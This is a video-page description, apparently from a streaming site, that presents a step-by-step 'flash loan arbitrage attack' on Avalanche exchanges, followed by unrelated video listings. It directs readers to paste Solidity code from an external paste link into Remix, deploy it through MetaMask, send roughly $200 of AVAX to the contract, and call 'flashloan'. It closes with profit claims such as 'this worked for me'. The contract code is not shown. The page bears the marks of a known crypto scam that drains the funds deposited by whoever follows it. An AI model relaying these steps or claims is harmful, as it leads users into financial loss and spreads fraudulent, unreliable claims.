Premium Only Content

AVAX - Avalanche: How to setup a Multi DEX arbitrage attack using solidity
In this video you will see how to setup an arbitrage attack on two DEXs; You will create the coin on Pangolin and then trade this coin rapidly against SushiSwap. Be sure to make sure that you have metamask connected to Avalanche Mainnet and have AVAX in your wallet to fund the transaction.
NEW GAS FEE REQUIRED: APPROX 2.94 AVAX
***Note: AVAX must be withdrawn to ‘AVAX C-Chain’. which is EVM/Metamask compatible chain
Setup Metamask to connect to Avalanche Mainnet –
https://support.avax.network/en/articles/4626956-how-do-i-set-up-metamask-on-avalanche
Smart Contract Code Link –
https://ghostbin.com/8M1iK/raw
Remix Link –
http://remix.ethereum.org/
Pangolin –
https://pangolin.exchange/
Pangolin Github –
https://github.com/pangolindex
Flash Loan Explanation –
https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD to AVAX –
https://coincodex.com/convert/avalanche/usd/
TO EARN MORE THAN THE AMOUNT THE VIDEO YOU CAN CREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in Avalanche Mainnet by deploying Contract/Token to mask our arbitrage attack against Pangolin.
This worked for me. But Y IT AT YOUR OWN RISK.
STE:
Before starting, install and setup MetaMask in Chrome Browser.
Open and setup Remix in browser (
https://remix.ethereum.org
)
Copy the Contract code (
https://ghostbin.com/8M1iK/raw
)
Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.
In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
Get the Contract address from Remix
Send 200$ish of Avalanche/AVAX to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
Call ‘flashloan’ function in Remix.
-
LIVE
GritsGG
1 hour agoWSOW Group Stage Final Day! Most Wins 3050+! 🔥
60 watching -
1:33:46
The Michelle Moore Show
10 hours ago'25 Thousand Lightning Strikes, Kash Patel's Girlfriend Raising Concerns, Islamic State in the U.S., Dark Web Agenda, Boy Sees Jesus, and more' Guest, Lt. Mark Taylor: The Michelle Moore Show (July 15, 2025)
28.1K12 -
2:40:49
Benny Johnson
7 hours agoLIVE Soon With Speaker Johnson Answering YOUR Questions In The Chat | Power to the People 🇺🇸
89.4K100 -
1:09:00
vivafrei
4 hours agoRo Khanna "Epstein" Amendment! The Butler PA Scandal! Canada a National Security Threat? AND MORE!
100K64 -
1:19:31
Awaken With JP
6 hours agoMaxwell Denied Testimony, Trust Your Friends in the Government? - LIES Ep 100
61K48 -
3:43:01
StoneMountain64
4 hours agoCommanding Officer leads RANDOM squads
35.8K1 -
1:03:48
The White House
4 hours agoPresident Trump Participates in the Inaugural Pennsylvania Energy and Innovation Event
35.6K10 -
1:45:17
The Quartering
5 hours agoWoke Squid Games Sucked, LGBTQ Pastor Controversy, JD Vance Causes Woke Meltdown
130K26 -
1:09:40
Coin Stories with Natalie Brunell
8 hours agoEpstein Files EXPOSED: CIA Black Ops, Money Crimes & Bitcoin's Rise
50.9K6 -
13:43
Megyn Kelly
4 hours agoHere's Why Getting to the Truth About Jeffrey Epstein Really Matters and Trump Should Listen to MAGA
33.3K26